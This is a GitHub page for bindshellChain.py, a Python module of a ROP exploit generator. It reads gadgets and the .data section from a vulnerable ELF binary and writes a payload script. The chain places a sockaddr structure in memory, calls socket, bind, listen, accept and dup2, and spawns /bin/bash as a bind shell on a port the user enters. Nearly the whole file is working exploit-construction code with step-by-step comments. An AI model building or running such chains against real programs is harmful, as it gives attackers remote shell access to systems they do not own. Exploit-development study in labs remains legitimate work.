-
Notifications
You must be signed in to change notification settings - Fork 5
/
bindshellChain.py
363 lines (274 loc) · 10.4 KB
/
bindshellChain.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
from elftools.elf.elffile import ELFFile
import capstone
import struct
import sys
import socket
import general
import print_pretty
import categorize
import get_gadgets
import chain
def bindshellROPChain(GadgetList, vulnExecutable):
print("\n\n-->Chaining to get a shell using execve system call")
fd = open(vulnExecutable, "rb")
elffile = ELFFile(fd)
data_section = ".data"
section = elffile.get_section_by_name(data_section)
# We need .data section's details because we have to write "/bin//sh" into it.
data_section_addr = section["sh_addr"]
data_section_size = section["sh_size"]
syscallList = categorize.checkIfSyscallPresent(GadgetList)
intList = categorize.checkIfIntPresent(GadgetList)
if len(intList) == 0 and len(syscallList) == 0:
print("No int 0x80, no syscall, no ROP")
print("Exiting tool :(")
sys.exit()
if len(syscallList) > 0 :
exploit(GadgetList, data_section_addr)
sys.exit()
# Steps to get a bind shell:
#
# 1. The following structure should be filled and written somewhere.
#
# struct sockaddr_in {
# short sin_family; // e.g. AF_INET, AF_INET6
# unsigned short sin_port; // e.g. htons(3490)
# struct in_addr sin_addr; // see struct in_addr, below
# char sin_zero[8]; // zero this if you want to
# };
#
# struct in_addr {
# unsigned long s_addr; // load with inet_pton()
# };
#
#
# 2. It is important to note that all elements in a structure are placed one after the other.
# So, in memory, this structure looks like this:
#
# < sin_family - 2 bytes >< sin_port - 2 bytes >< IP Address - 4 bytes >< zero - 8 bytes >
#
# 3. Idea is to write this onto .data section.
#
# 4. Create a socket using "socket" system call
#
# rax = socket(AF_INET, SOCK_STREAM, 0);
#
# 5. Should somehow load value in rax to rdi.
#
# 6. Execute "bind" system call
#
# bind(rdi, data_section_addr, 16)
#
# 7. Execute "listen" system call
#
# listen(rdi, 0)
#
# 8. Execute "accept" system call
#
# rax = accept(rdi, 0, 0)
#
# 9. Copy rax into rdi again.
#
# 10. Execute "dup2" system call and redirect stdin, stdout and stdout to new socket with fd = rdi.
#
# dup2(rdi, 0)
# dup2(rdi, 1)
# dup2(rdi, 2)
#
# 11. Execute execve("/bin//sh", 0, 0) - refer to execveChain.py for details.
#
def exploit(GadgetList, data_section_addr) :
# Open the file where payload will be written in the form of a python script
fd = open("bindshellROPChain.py", "w")
chain.writeHeader(fd)
# ip_addr = str(input("Enter IP Address: "))
port = int(input("Enter port Number: "))
# sin_family = AF_INET
# Refering to /usr/include/bits/socket.h for value of AF_INET
# AF_INET = 2
sockaddr = b''
sockaddr += b'\x02\x00' # AF_INET = 2
sockaddr += struct.pack('<H', socket.htons(port)) # htons(port)
sockaddr += socket.inet_pton(socket.AF_INET, "0.0.0.0") # inet_pton(AF_INET, ip_addr)
sockaddr += struct.pack('<Q', 0) # sin_zero - 8 zeros
# sockaddr structure ready
# Writing sockaddr structure onto .data section
chain.WriteStuffIntoMemory(sockaddr, data_section_addr, fd)
# Execute socket() system call
# Note: rax will have the file descriptor of the new socket
# socket's system call number = 41
chain.LoadConstIntoReg(GadgetList, "rax", 41, fd)
# rdi <- AF_INET
# rdi <- 2
# Refer to /usr/include/bits/socket.h for value
chain.LoadConstIntoReg(GadgetList, "rdi", 2, fd)
# rsi <- SOCK_STREAM
# rsi <- 1
# Refer to /usr/include/bits/socket_type.h for valule
chain.LoadConstIntoReg(GadgetList, "rsi", 1, fd)
# rdx <- 0
chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)
# Call "syscall; ret"
syscallList = categorize.checkIfSyscallPresent(GadgetList)
syscallGadget = syscallList[0]
syscallDict = syscallGadget[0]
syscallAddress = syscallDict['address']
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(syscallAddress)))
fd.write(")")
fd.write("\t\t# Address of syscall")
fd.write("\n\t")
# If socket() is successful, rax will have file descriptor
# Should somehow load it into rdi
# rdi <- rax
# How?
# Should search for a "xchg rax, rdi" or "xchg rdi, rax" or "xchg edi, eax" or "xchg eax, edi"
xchgList = categorize.queryGadgets(GadgetList, general.XCHANGE, "rdi")
xchgList += categorize.queryGadgets(GadgetList, general.XCHANGE, "edi")
xchgAD = dict()
if len(xchgList) > 0 :
for List in xchgList:
gadget = List[0]
if (("rax" in gadget['operands'] and "rdi" in gadget['operands']) or ("eax" in gadget['operands'] and "edi" in gadget['operands'])) :
xchgAD = gadget
break
if len(xchgAD) == 0:
print("No xchg gadgets found to load value of rax into rdi. so, Exploit fail!")
sys.exit()
# Execute xchg between rdi and rax => rdi has socket's file descriptor now.
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(xchgAD['address'])))
fd.write(")")
fd.write("\t\t# Address of xchg Reg1, Reg2; ret")
fd.write("\n\t")
# Step-6: Execute bind() system call
# bind(rdi, data_section_addr, 16)
# rax <- 49
# bind's system call number = 49
chain.LoadConstIntoReg(GadgetList, "rax", 49, fd)
# rdi <- file descriptor - already there
# rsi <- data_section_addr
chain.LoadConstIntoReg(GadgetList, "rsi", data_section_addr, fd)
# rdx <- 16
chain.LoadConstIntoReg(GadgetList, "rdx", 16, fd)
# Call "syscall; ret"
syscallList = categorize.checkIfSyscallPresent(GadgetList)
syscallGadget = syscallList[0]
syscallDict = syscallGadget[0]
syscallAddress = syscallDict['address']
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(syscallAddress)))
fd.write(")")
fd.write("\t\t# Address of syscall")
fd.write("\n\t")
# Assuming bind() is successful, we will continue
# Step-7: listen(rdi, 0)
# Load listen's system call number
chain.LoadConstIntoReg(GadgetList, "rax", 50, fd)
# rdi <- file descriptor - already there
# rsi <- 0
chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)
# Call "syscall; ret"
syscallList = categorize.checkIfSyscallPresent(GadgetList)
syscallGadget = syscallList[0]
syscallDict = syscallGadget[0]
syscallAddress = syscallDict['address']
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(syscallAddress)))
fd.write(")")
fd.write("\t\t# Address of syscall")
fd.write("\n\t")
# Listen done.
# Step-8: accept(rdi, 0, 0) system call
# Load accept()'s system call number
chain.LoadConstIntoReg(GadgetList, "rax", 43, fd)
# rdi is set.
chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)
chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)
# Call "syscall; ret"
syscallList = categorize.checkIfSyscallPresent(GadgetList)
syscallGadget = syscallList[0]
syscallDict = syscallGadget[0]
syscallAddress = syscallDict['address']
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(syscallAddress)))
fd.write(")")
fd.write("\t\t# Address of syscall")
fd.write("\n\t")
# Now, accept() is waiting for connections.
# Suppose I get connected, a new socket is created with file descriptor in rax. That should be loaded into rdi again.
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(xchgAD['address'])))
fd.write(")")
fd.write("\t\t# Address of xchg Reg1, Reg2; ret")
fd.write("\n\t")
# Redirect stdin, stdout, stderr to that new socket using dup2() system call
# dup2(rdi, 0)
chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)
# stdin
chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)
# Call "syscall; ret"
syscallList = categorize.checkIfSyscallPresent(GadgetList)
syscallGadget = syscallList[0]
syscallDict = syscallGadget[0]
syscallAddress = syscallDict['address']
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(syscallAddress)))
fd.write(")")
fd.write("\t\t# Address of syscall")
fd.write("\n\t")
# stdout
chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)
chain.LoadConstIntoReg(GadgetList, "rsi", 1, fd)
# Call "syscall; ret"
syscallList = categorize.checkIfSyscallPresent(GadgetList)
syscallGadget = syscallList[0]
syscallDict = syscallGadget[0]
syscallAddress = syscallDict['address']
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(syscallAddress)))
fd.write(")")
fd.write("\t\t# Address of syscall")
fd.write("\n\t")
# stderr
chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)
chain.LoadConstIntoReg(GadgetList, "rsi", 2, fd)
# Call "syscall; ret"
syscallList = categorize.checkIfSyscallPresent(GadgetList)
syscallGadget = syscallList[0]
syscallDict = syscallGadget[0]
syscallAddress = syscallDict['address']
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(syscallAddress)))
fd.write(")")
fd.write("\t\t# Address of syscall")
fd.write("\n\t")
# Now, all redirection is done.
# Let us spawn a shell - refer execveChain.py
binsh = 0x68732f2f6e69622f
# binsh = 0x6873000000000000
binsh = struct.pack('<Q', binsh)
binsh = b'/bin/bash'
# print(binsh)
chain.WriteStuffIntoMemory(binsh, data_section_addr + 20, fd)
# Step-1: rax <- 59
chain.LoadConstIntoReg(GadgetList, "rax", 59, fd)
# Step-3: rdi <- "Address of /bin//sh" - .data section's address
chain.LoadConstIntoReg(GadgetList, "rdi", data_section_addr + 20, fd)
# Step-4: rsi <- 0
chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)
# Step-5: rdx <- 0
chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)
# Get syscall
syscallList = categorize.checkIfSyscallPresent(GadgetList)
syscallGadget = syscallList[0]
syscallDict = syscallGadget[0]
syscallAddress = syscallDict['address']
fd.write("payload += struct.pack('<Q', ")
fd.write(hex(int(syscallAddress)))
fd.write(")")
fd.write("\t\t# Address of syscall")
fd.write("\n\t")
chain.writeFooter(fd)
print("-->Written the complete payload in bindshellROPChain.py")
print("-->Chaining successful!")